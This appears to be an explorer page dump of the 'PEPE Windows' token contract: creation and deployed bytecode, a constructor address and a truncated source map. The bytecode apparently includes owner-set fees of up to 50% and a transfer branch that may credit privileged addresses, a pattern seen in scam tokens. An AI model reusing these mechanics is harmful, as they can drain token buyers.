c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161073d565b5f61070d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a47565b5f61070d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e1e565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260069091529182205461140b918490610e1e565b6001600160a01b038086165f908152600660205260408082209390935590851681522054611439908361125d565b6001600160a01b038085165f8181526006602052604090819020939093559151908616905f80516020611de5833981519152906114799086815260200190565b60405180910390a35060019392505050565b600454811115806114b357506001600160a01b0382165f908152600a602052604090205460ff165b6114f35760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161073d565b5050565b601d545f906001600160a01b031633148015906115175750601f5460ff16155b801561152c5750601d54600160a81b900460ff165b8015610892575050601e54305f90815260066020526040902054101590565b601f805460ff19166001179055601954601a545f9161156991610ae3565b61157557600b54611577565b5f5b90505f61159a600261082160105461082186601e546112bb90919063ffffffff16565b90505f6115b282601e5461137a90919063ffffffff16565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f815181106115ea576115ea611d5f565b6001600160a01b03928316602091820292909201015260025482519116908290600190811061161b5761161b611d5f565b6001600160a01b039283166020918202929092010152601b5460405163791ac94760e01b81524792919091169063791ac947906116649086905f90879030904290600401611d73565b5f604051808303815f87803b15801561167b575f80fd5b505af115801561168d573d5f803e3d5ffd5b505050505f6116a5824761137a90919063ffffffff16565b90505f6116bf6116b6886002611339565b6010549061137a565b90505f6116d360026108218481878d6112bb565b90505f6116ef83610821600c54876112bb90919063ffffffff16565b90505f61170b84610821600e54886112bb90919063ffffffff16565b90505f61172785610821600d54896112bb90919063ffffffff16565b6015546040519192506001600160a01b03169084156108fc029085905f818181858888f1935050505015801561175f573d5f803e3d5ffd5b506016546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611797573d5f803e3d5ffd5b506017546040516001600160a01b039091169083156108fc029084905f818181858888f193505050501580156117cf573d5f803e3d5ffd5b5089156118b357601b5f9054906101000a90046001600160a01b03166001600160a01b031663f305d71985308d5f8060145f9054906101000a90046001600160a01b0316426040518863ffffffff1660e01b815260040161183596959493929190611cbc565b60606040518083038185885af1158015611851573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906118769190611cf7565b505060408051868152602081018d90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b5050601f805460ff19169055505050505050505050565b601d545f9081906001600160a01b03908116908416036118ed5750601254611908565b601d546001600160a01b039081169086160361190857506013545b5f611934601154606461191b9190611d48565b610821846108146010548a6112bb90919063ffffffff16565b90505f611952601054610821600f54856112bb90919063ffffffff16565b90505f61195f838361137a565b305f9081526006602052604090205490915061197b908261125d565b305f90815260066020526040808220929092556018546001600160a01b0316815220546119a8908361125d565b6018546001600160a01b039081165f9081526006602090815260409182902093909355518381523092918b16915f80516020611de5833981519152910160405180910390a38115611a3157600354611a00908361137a565b6003556040518281525f906001600160a01b038a16905f80516020611de58339815191529060200160405180910390a35b611a3b878461137a565b98975050505050505050565b5f8183611a675760405162461bcd60e51b815260040161073d9190611a73565b505f610e4d8486611c4c565b5f602080835283518060208501525f5b81811015611a9f57858101830151858201604001528201611a83565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e1b575f80fd5b5f8060408385031215611ae4575f80fd5b8235611aef81611abf565b946020939093013593505050565b5f805f60608486031215611b0f575f80fd5b8335611b1a81611abf565b92506020840135611b2a81611abf565b929592945050506040919091013590565b5f805f805f8060c08789031215611b50575f80fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b5f60208284031215611b8a575f80fd5b5035919050565b5f60208284031215611ba1575f80fd5b813561070d81611abf565b5f8060408385031215611bbd575f80fd5b50508035926020909101359150565b5f8060408385031215611bdd575f80fd5b8235611be881611abf565b91506020830135611bf881611abf565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f82611c6657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611c7b575f80fd5b5051919050565b5f60208284031215611c92575f80fd5b8151801515811461070d575f80fd5b5f60208284031215611cb1575f80fd5b815161070d81611abf565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f60608486031215611d09575f80fd5b8351925060208401519150604084015190509250925092565b8181038181111561065057610650611c38565b8082018082111561065057610650611c38565b808202811582820484141761065057610650611c38565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611dc35784516001600160a01b031683529383019391830191600101611d9e565b50506001600160a01b0396909616606085015250505060800152939250505056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208681cf2b189356add1801411720809f18f98dfffa8de8ec03a95a952d622bc1564736f6c634300081600330000000000000000000000008e0111f49aa8bd124057e663f32db65ccf3d2402
Deployed Bytecode
0x6080604052600436106101de575f3560e01c806378109e54116100fd578063d18afa8511610092578063e97577bb11610062578063e97577bb14610584578063f2fde38b14610598578063f4293890146105b7578063f887ea40146105cb575f80fd5b8063d18afa85146104ee578063d9cf31de1461050d578063dd62ed3e14610521578063ded1e43814610565575f80fd5b806395d89b41116100cd57806395d89b4114610464578063a8aa1b3114610492578063a9059cbb146104b1578063b2bdfa7b146104d0575f80fd5b806378109e54146103ee5780637d1db4a514610403578063893d20e8146104185780638da5cb5b14610448575f80fd5b8063313ce5671161017357806370a082311161014357806370a0823114610373578063715018a6146103a7578063751039fc146103bb57806377b54bad146103cf575f80fd5b8063313ce567146103055780635526566914610320578063571ac8b0146103345780636ddd171314610353575f80fd5b80631df4ccfc116101ae5780631df4ccfc1461029157806323b872dd146102a6578063282c8749146102c557806330c9a6a0146102e6575f80fd5b80630445b667146101e957806306fdde0314610211578063095ea7b31461024e57806318160ddd1461027d575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b506101fe601e5481565b6040519081526020015b60405180910390f35b34801561021c575f80fd5b5060408051808201909152600c81526b504550452057696e646f777360a01b60208201525b6040516102089190611a73565b348015610259575f80fd5b5061026d610268366004611ad3565b6105ea565b6040519015158152602001610208565b348015610288575f80fd5b506003546101fe565b34801561029c575f80fd5b506101fe60105481565b3480156102b1575f80fd5b5061026d6102c0366004611afd565b610656565b3480156102d0575f80fd5b506102e46102df366004611b3b565b610714565b005b3480156102f1575f80fd5b506101fe610300366004611b7a565b6107e2565b348015610310575f80fd5b5060405160128152602001610208565b34801561032b575f80fd5b506101fe610827565b34801561033f575f80fd5b5061026d61034e366004611b91565b610897565b34801561035e575f80fd5b50601d5461026d90600160a81b900460ff1681565b34801561037e575f80fd5b506101fe61038d366004611b91565b6001600160a01b03165f9081526006602052604090205490565b3480156103b2575f80fd5b506102e46108a3565b3480156103c6575f80fd5b506102e4610914565b3480156103da575f80fd5b5061026d6103e9366004611ad3565b61094a565b3480156103f9575f80fd5b506101fe60055481565b34801561040e575f80fd5b506101fe60045481565b348015610423575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610208565b348015610453575f80fd5b505f546001600160a01b0316610430565b34801561046f575f80fd5b5060408051808201909152600681526550494e444f5760d01b6020820152610241565b34801561049d575f80fd5b50601d54610430906001600160a01b031681565b3480156104bc575f80fd5b5061026d6104cb366004611ad3565b610a71565b3480156104db575f80fd5b505f54610430906001600160a01b031681565b3480156104f9575f80fd5b506102e4610508366004611bac565b610a7d565b348015610518575f80fd5b506102e4610aae565b34801561052c575f80fd5b506101fe61053b366004611bcc565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b348015610570575f80fd5b5061026d61057f366004611bac565b610ae3565b34801561058f575f80fd5b506102e4610af6565b3480156105a3575f80fd5b506102e46105b2366004611b91565b610cfe565b3480156105c2575f80fd5b506102e4610de5565b3480156105d6575f80fd5b50601b54610430906001600160a01b031681565b335f8181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106449086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526007602090815260408083203384529091528120545f19146106ff576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387165f9081526007825283812033825290915291909120546106db918490610e1e565b6001600160a01b0385165f9081526007602090815260408083203384529091529020555b61070a848484610e56565b90505b9392505050565b5f546001600160a01b031633146107465760405162461bcd60e51b815260040161073d90611c03565b60405180910390fd5b600b869055600e859055600c849055600d839055600f82905561077782610771858188818c8c61125d565b9061125d565b601055601181905561078a600282611c4c565b601054106107da5760405162461bcd60e51b815260206004820152601d60248201527f466565732063616e206e6f74206265206d6f7265207468616e20353025000000604482015260640161073d565b505050505050565b5f6106506107ee610827565b601d546001600160a01b03165f908152600660205260409020546108219061081a906002905b906112bb565b85906112bb565b90611339565b60066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f85461dead5f9081527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e2254600354919261089292909161088c919061137a565b9061137a565b905090565b5f610650825f196105ea565b5f546001600160a01b031633146108cc5760405162461bcd60e51b815260040161073d90611c03565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461093d5760405162461bcd60e51b815260040161073d90611c03565b6003546004819055600555565b5f815f036109bb576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015610994573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b89190611c6b565b91505b604080516001600160a01b0385168152602081018490527fda2bc2bedd1f85b5a59d5dbbd6684ff877ef916994a16ec08813101e99ace65f910160405180910390a160145460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018490529084169063a9059cbb906044016020604051808303815f875af1158015610a4d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070d9190611c82565b5f61070d338484610e56565b5f546001600160a01b03163314610aa65760405162461bcd60e51b815260040161073d90611c03565b601255601355565b5f546001600160a01b03163314610ad75760405162461bcd60e51b815260040161073d90611c03565b60646013819055601255565b5f82610aee836107e2565b119392505050565b5f546001600160a01b03163314610b1f5760405162461bcd60e51b815260040161073d90611c03565b601d805460ff60a01b1916600160a01b179055601b546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa158015610b7a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b9e9190611ca1565b6002546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303815f875af1158015610bec573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c109190611ca1565b601d80546001600160a01b039283166001600160a01b03199182168117909255601c80549091169091179055601b541663f305d7194730610c65816001600160a01b03165f9081526006602052604090205490565b5f80610c785f546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610c9a96959493929190611cbc565b60606040518083038185885af1158015610cb6573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cdb9190611cf7565b5050610af0601381905560125550601d805460ff60a81b1916600160a81b179055565b5f546001600160a01b03163314610d275760405162461bcd60e51b815260040161073d90611c03565b6001600160a01b038116610d8c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161073d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6014546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610e1b573d5f803e3d5ffd5b50565b5f8184841115610e415760405162461bcd60e51b815260040161073d9190611a73565b505f610e4d8486611d22565b95945050505050565b601f545f9060ff1615610e7557610e6e8484846113bb565b905061070d565b6001600160a01b0384165f9081526001602052604090205460ff16158015610eb557506001600160a01b0383165f9081526001602052604090205460ff16155b15610f0a57601d54600160a01b900460ff16610f0a5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161073d565b6001600160a01b0384165f9081526001602052604090205460ff16158015610f3b57506001600160a01b0383163014155b8015610f5257506001600160a01b03831661dead14155b8015610f6c5750601d546001600160a01b03848116911614155b8015610f8657506018546001600160a01b03848116911614155b8015610fa057506015546001600160a01b03848116911614155b8015610fc457506001600160a01b0383165f908152600a602052604090205460ff16155b15611064576001600160a01b0383165f90815260066020526040902054600554610fee8483611d35565b11156110625760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e0000606482015260840161073d565b505b61106e848361148b565b6110766114f7565b156110835761108361154b565b601d546001600160a01b0390811690841603611133576001600160a01b0384165f9081526009602052604090205460ff16156110fb576001600160a01b0383165f908152600660205260409020546110db908361125d565b6001600160a01b0384165f9081526006602052604090205550600161070d565b6016546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015611131573d5f803e3d5ffd5b505b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387165f90815260069091529190912054611184918490610e1e565b6001600160a01b0385165f90815260066020908152604080832093909355600890529081205460ff16806111cf57506001600160a01b0384165f9081526008602052604090205460ff165b6111e3576111de8584866118ca565b6111e5565b825b6001600160a01b0385165f9081526006602052604090205490915061120a908261125d565b6001600160a01b038086165f8181526006602052604090819020939093559151908716905f80516020611de58339815191529061124a9085815260200190565b60405180910390a3506001949350505050565b5f806112698385611d35565b90508381101561070d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161073d565b5f825f036112ca57505f610650565b5f6112d58385611d48565b9050826112e28583611c4c565b1461070d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161073d565b5f61070d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a47565b5f61070d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e1e565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260069091529182205461140b918490610e1e565b6001600160a01b038086165f908152600660205260408082209390935590851681522054611439908361125d565b6001600160a01b038085165f8181526006602052604090819020939093559151908616905f80516020611de5833981519152906114799086815260200190565b60405180910390a35060019392505050565b600454811115806114b357506001600160a01b0382165f908152600a602052604090205460ff165b6114f35760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161073d565b5050565b601d545f906001600160a01b031633148015906115175750601f5460ff16155b801561152c5750601d54600160a81b900460ff165b8015610892575050601e54305f90815260066020526040902054101590565b601f805460ff19166001179055601954601a545f9161156991610ae3565b61157557600b54611577565b5f5b90505f61159a600261082160105461082186601e546112bb90919063ffffffff16565b90505f6115b282601e5461137a90919063ffffffff16565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f815181106115ea576115ea611d5f565b6001600160a01b03928316602091820292909201015260025482519116908290600190811061161b5761161b611d5f565b6001600160a01b039283166020918202929092010152601b5460405163791ac94760e01b81524792919091169063791ac947906116649086905f90879030904290600401611d73565b5f604051808303815f87803b15801561167b575f80fd5b505af115801561168d573d5f803e3d5ffd5b505050505f6116a5824761137a90919063ffffffff16565b90505f6116bf6116b6886002611339565b6010549061137a565b90505f6116d360026108218481878d6112bb565b90505f6116ef83610821600c54876112bb90919063ffffffff16565b90505f61170b84610821600e54886112bb90919063ffffffff16565b90505f61172785610821600d54896112bb90919063ffffffff16565b6015546040519192506001600160a01b03169084156108fc029085905f818181858888f1935050505015801561175f573d5f803e3d5ffd5b506016546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611797573d5f803e3d5ffd5b506017546040516001600160a01b039091169083156108fc029084905f818181858888f193505050501580156117cf573d5f803e3d5ffd5b5089156118b357601b5f9054906101000a90046001600160a01b03166001600160a01b031663f305d71985308d5f8060145f9054906101000a90046001600160a01b0316426040518863ffffffff1660e01b815260040161183596959493929190611cbc565b60606040518083038185885af1158015611851573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906118769190611cf7565b505060408051868152602081018d90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b5050601f805460ff19169055505050505050505050565b601d545f9081906001600160a01b03908116908416036118ed5750601254611908565b601d546001600160a01b039081169086160361190857506013545b5f611934601154606461191b9190611d48565b610821846108146010548a6112bb90919063ffffffff16565b90505f611952601054610821600f54856112bb90919063ffffffff16565b90505f61195f838361137a565b305f9081526006602052604090205490915061197b908261125d565b305f90815260066020526040808220929092556018546001600160a01b0316815220546119a8908361125d565b6018546001600160a01b039081165f9081526006602090815260409182902093909355518381523092918b16915f80516020611de5833981519152910160405180910390a38115611a3157600354611a00908361137a565b6003556040518281525f906001600160a01b038a16905f80516020611de58339815191529060200160405180910390a35b611a3b878461137a565b98975050505050505050565b5f8183611a675760405162461bcd60e51b815260040161073d9190611a73565b505f610e4d8486611c4c565b5f602080835283518060208501525f5b81811015611a9f57858101830151858201604001528201611a83565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e1b575f80fd5b5f8060408385031215611ae4575f80fd5b8235611aef81611abf565b946020939093013593505050565b5f805f60608486031215611b0f575f80fd5b8335611b1a81611abf565b92506020840135611b2a81611abf565b929592945050506040919091013590565b5f805f805f8060c08789031215611b50575f80fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b5f60208284031215611b8a575f80fd5b5035919050565b5f60208284031215611ba1575f80fd5b813561070d81611abf565b5f8060408385031215611bbd575f80fd5b50508035926020909101359150565b5f8060408385031215611bdd575f80fd5b8235611be881611abf565b91506020830135611bf881611abf565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f82611c6657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611c7b575f80fd5b5051919050565b5f60208284031215611c92575f80fd5b8151801515811461070d575f80fd5b5f60208284031215611cb1575f80fd5b815161070d81611abf565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f60608486031215611d09575f80fd5b8351925060208401519150604084015190509250925092565b8181038181111561065057610650611c38565b8082018082111561065057610650611c38565b808202811582820484141761065057610650611c38565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611dc35784516001600160a01b031683529383019391830191600101611d9e565b50506001600160a01b0396909616606085015250505060800152939250505056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208681cf2b189356add1801411720809f18f98dfffa8de8ec03a95a952d622bc1564736f6c63430008160033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000008e0111f49aa8bd124057e663f32db65ccf3d2402
-----Decoded View---------------
Arg [0] : _addr (address): 0x8E0111f49AA8BD124057e663f32dB65CcF3d2402
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000008e0111f49aa8bd124057e663f32db65ccf3d2402
Deployed Bytecode Sourcemap
5102:11729:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6956:54;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;6956:54:0;;;;;;;;8222:80;;;;;;;;;;-1:-1:-1;8294:5:0;;;;;;;;;;;;-1:-1:-1;;;8294:5:0;;;;8222:80;;;;;;;:::i;8644:216::-;;;;;;;;;;-1:-1:-1;8644:216:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;8644:216:0;1205:187:1;7952:88:0;;;;;;;;;;-1:-1:-1;8025:12:0;;7952:88;;6320:93;;;;;;;;;;;;;;;;9162:370;;;;;;;;;;-1:-1:-1;9162:370:0;;;;;:::i;:::-;;:::i;15814:570::-;;;;;;;;;;-1:-1:-1;15814:570:0;;;;;:::i;:::-;;:::i;:::-;;16535:149;;;;;;;;;;-1:-1:-1;16535:149:0;;;;;:::i;:::-;;:::i;8046:80::-;;;;;;;;;;-1:-1:-1;8046:80:0;;5462:2;2713:36:1;;2701:2;2686:18;8046:80:0;2571:184:1;16696:132:0;;;;;;;;;;;;;:::i;8868:122::-;;;;;;;;;;-1:-1:-1;8868:122:0;;;;;:::i;:::-;;:::i;6918:31::-;;;;;;;;;;-1:-1:-1;6918:31:0;;;;-1:-1:-1;;;6918:31:0;;;;;;8392:105;;;;;;;;;;-1:-1:-1;8392:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;8476:18:0;8458:7;8476:18;;;:9;:18;;;;;;;8392:105;2016:148;;;;;;;;;;;;;:::i;9540:131::-;;;;;;;;;;;;;:::i;12987:326::-;;;;;;;;;;-1:-1:-1;12987:326:0;;;;;:::i;:::-;;:::i;5775:61::-;;;;;;;;;;;;;;;;5710:58;;;;;;;;;;;;;;;;8308:78;;;;;;;;;;-1:-1:-1;8360:7:0;1867:6;-1:-1:-1;;;;;1867:6:0;8308:78;;;-1:-1:-1;;;;;3176:32:1;;;3158:51;;3146:2;3131:18;8308:78:0;3012:203:1;1802:79:0;;;;;;;;;;-1:-1:-1;1840:7:0;1867:6;-1:-1:-1;;;;;1867:6:0;1802:79;;8132:84;;;;;;;;;;-1:-1:-1;8206:7:0;;;;;;;;;;;;-1:-1:-1;;;8206:7:0;;;;8132:84;;6848:19;;;;;;;;;;-1:-1:-1;6848:19:0;;;;-1:-1:-1;;;;;6848:19:0;;;8998:156;;;;;;;;;;-1:-1:-1;8998:156:0;;;;;:::i;:::-;;:::i;1422:21::-;;;;;;;;;;-1:-1:-1;1422:21:0;;;;-1:-1:-1;;;;;1422:21:0;;;13321:166;;;;;;;;;;-1:-1:-1;13321:166:0;;;;;:::i;:::-;;:::i;13929:128::-;;;;;;;;;;;;;:::i;8503:133::-;;;;;;;;;;-1:-1:-1;8503:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;8605:19:0;;;8587:7;8605:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;8503:133;16392:135;;;;;;;;;;-1:-1:-1;16392:135:0;;;;;:::i;:::-;;:::i;13502:419::-;;;;;;;;;;;;;:::i;2172:244::-;;;;;;;;;;-1:-1:-1;2172:244:0;;;;;:::i;:::-;;:::i;12873:106::-;;;;;;;;;;;;;:::i;6778:24::-;;;;;;;;;;-1:-1:-1;6778:24:0;;;;-1:-1:-1;;;;;6778:24:0;;;8644:216;8748:10;8719:4;8736:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;8736:32:0;;;;;;;;;;:41;;;8793:37;8719:4;;8736:32;;8793:37;;;;8771:6;160:25:1;;148:2;133:18;;14:177;8793:37:0;;;;;;;;-1:-1:-1;8848:4:0;8644:216;;;;;:::o;9162:370::-;-1:-1:-1;;;;;9282:19:0;;9262:4;9282:19;;;:11;:19;;;;;;;;9302:10;9282:31;;;;;;;;-1:-1:-1;;9282:52:0;9279:186;;9384:69;;;;;;;;;;;-1:-1:-1;;;9384:69:0;;;;;;;;-1:-1:-1;;;;;9384:19:0;;-1:-1:-1;9384:19:0;;;:11;:19;;;;;9404:10;9384:31;;;;;;;;;;:69;;9420:6;;9384:35;:69::i;:::-;-1:-1:-1;;;;;9350:19:0;;;;;;:11;:19;;;;;;;;9370:10;9350:31;;;;;;;:103;9279:186;9484:40;9498:6;9506:9;9517:6;9484:13;:40::i;:::-;9477:47;;9162:370;;;;;;:::o;15814:570::-;1929:6;;-1:-1:-1;;;;;1929:6:0;1239:10;1929:22;1921:67;;;;-1:-1:-1;;;1921:67:0;;;;;;;:::i;:::-;;;;;;;;;15994:12:::1;:28:::0;;;16033:10:::1;:24:::0;;;16068:12:::1;:28:::0;;;16107:6:::1;:16:::0;;;16134:7:::1;:18:::0;;;16174:76:::1;16144:8:::0;16174:62:::1;16116:7:::0;16174:62;16083:13;16174:62;16009:13;16046:11;16174:17:::1;:30::i;:::-;:34:::0;::::1;:49::i;:76::-;16163:8;:87:::0;16261:14:::1;:32:::0;;;16323:18:::1;16340:1;16278:15:::0;16323:18:::1;:::i;:::-;16312:8;;:29;16304:71;;;::::0;-1:-1:-1;;;16304:71:0;;5009:2:1;16304:71:0::1;::::0;::::1;4991:21:1::0;5048:2;5028:18;;;5021:30;5087:31;5067:18;;;5060:59;5136:18;;16304:71:0::1;4807:353:1::0;16304:71:0::1;15814:570:::0;;;;;;:::o;16535:149::-;16595:7;16622:54;16663:12;:10;:12::i;:::-;16645:4;;-1:-1:-1;;;;;16645:4:0;8458:7;8476:18;;;:9;:18;;;;;;16622:36;;16635:22;;16655:1;;16635:15;:19;;:22::i;:::-;16622:8;;:12;:36::i;:::-;:40;;:54::i;16696:132::-;8476:9;:18;;;;5221:42;16739:7;8476:18;;;;;16766:12;;16739:7;;16766:54;;8476:18;;16766:33;;:12;:16;:33::i;:::-;:37;;:54::i;:::-;16759:61;;16696:132;:::o;8868:122::-;8923:4;8947:35;8955:7;-1:-1:-1;;8947:7:0;:35::i;2016:148::-;1929:6;;-1:-1:-1;;;;;1929:6:0;1239:10;1929:22;1921:67;;;;-1:-1:-1;;;1921:67:0;;;;;;;:::i;:::-;2123:1:::1;2107:6:::0;;2086:40:::1;::::0;-1:-1:-1;;;;;2107:6:0;;::::1;::::0;2086:40:::1;::::0;2123:1;;2086:40:::1;2154:1;2137:19:::0;;-1:-1:-1;;;;;;2137:19:0::1;::::0;;2016:148::o;9540:131::-;1929:6;;-1:-1:-1;;;;;1929:6:0;1239:10;1929:22;1921:67;;;;-1:-1:-1;;;1921:67:0;;;;;;;:::i;:::-;9610:12:::1;::::0;9595::::1;:27:::0;;;9633:15:::1;:30:::0;9540:131::o;12987:326::-;13068:12;13096:6;13106:1;13096:11;13093:95;;13132:44;;-1:-1:-1;;;13132:44:0;;13170:4;13132:44;;;3158:51:1;-1:-1:-1;;;;;13132:29:0;;;;;3131:18:1;;13132:44:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13123:53;;13093:95;13203:32;;;-1:-1:-1;;;;;5546:32:1;;5528:51;;5610:2;5595:18;;5588:34;;;13203:32:0;;5501:18:1;13203:32:0;;;;;;;13282:14;;13253:52;;-1:-1:-1;;;13253:52:0;;-1:-1:-1;;;;;13282:14:0;;;13253:52;;;5528:51:1;5595:18;;;5588:34;;;13253:28:0;;;;;;5501:18:1;;13253:52:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;8998:156::-;9078:4;9102:44;9116:10;9128:9;9139:6;9102:13;:44::i;13321:166::-;1929:6;;-1:-1:-1;;;;;1929:6:0;1239:10;1929:22;1921:67;;;;-1:-1:-1;;;1921:67:0;;;;;;;:::i;:::-;13420:8:::1;:25:::0;13456:7:::1;:23:::0;13321:166::o;13929:128::-;1929:6;;-1:-1:-1;;;;;1929:6:0;1239:10;1929:22;1921:67;;;;-1:-1:-1;;;1921:67:0;;;;;;;:::i;:::-;13992:3:::1;13982:7;:13:::0;;;14006:8:::1;:14:::0;13929:128::o;16392:135::-;16466:4;16514:5;16490:21;16502:8;16490:11;:21::i;:::-;:29;;16392:135;-1:-1:-1;;;16392:135:0:o;13502:419::-;1929:6;;-1:-1:-1;;;;;1929:6:0;1239:10;1929:22;1921:67;;;;-1:-1:-1;;;1921:67:0;;;;;;;:::i;:::-;13553:14:::1;:21:::0;;-1:-1:-1;;;;13553:21:0::1;-1:-1:-1::0;;;13553:21:0::1;::::0;;13606:6:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;13606:16:0;;;;-1:-1:-1;;;;;13606:6:0;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;:6;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13635:4;::::0;13594:61:::1;::::0;-1:-1:-1;;;13594:61:0;;-1:-1:-1;;;;;13635:4:0;;::::1;13594:61;::::0;::::1;6383:34:1::0;13649:4:0::1;6433:18:1::0;;;6426:43;13594:40:0;::::1;::::0;::::1;::::0;6318:18:1;;13594:61:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13587:4;:68:::0;;-1:-1:-1;;;;;13587:68:0;;::::1;-1:-1:-1::0;;;;;;13587:68:0;;::::1;::::0;::::1;::::0;;;13666:12:::1;:32:::0;;;;::::1;::::0;;::::1;::::0;;13711:6:::1;::::0;::::1;:22;13741:21;13772:4;13778:24;13772:4:::0;-1:-1:-1;;;;;8476:18:0;8458:7;8476:18;;;:9;:18;;;;;;;8392:105;13778:24:::1;13803:1;1380